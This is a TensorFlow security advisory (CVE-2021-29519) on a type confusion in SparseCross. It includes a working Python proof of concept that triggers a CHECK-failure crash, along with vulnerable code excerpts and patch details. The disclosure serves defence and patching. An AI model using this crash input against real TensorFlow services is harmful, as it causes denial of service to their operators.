`CHECK`-fail in `SparseCross` due to type confusion

Low **mihaimaruseac** published **GHSA-772j-h9xw-ffp5** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:

```
import tensorflow as tf

hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string
internal_type = tf.string

indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
indices = [indices_1, indices_2]

values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]

batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
shapes = [shape_1, shape_2]

dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]

tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)
```

The above code will result in a `CHECK` fail in `tensor.cc`:

```
void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
  CHECK_EQ(dtype(), expected_dtype)
      << " " << DataTypeString(expected_dtype) << " expected, got "
      << DataTypeString(dtype());
  ...
}
```

This is because the implementation is tricked to consider a tensor of type `tstring` which in fact contains integral elements:

```
  if (DT_STRING == values_.dtype())
      return Fingerprint64(values_.vec<tstring>().data()[start + n]);
  return values_.vec<int64>().data()[start + n];
```

Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.

Patches

We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29519

Weaknesses

No CWEs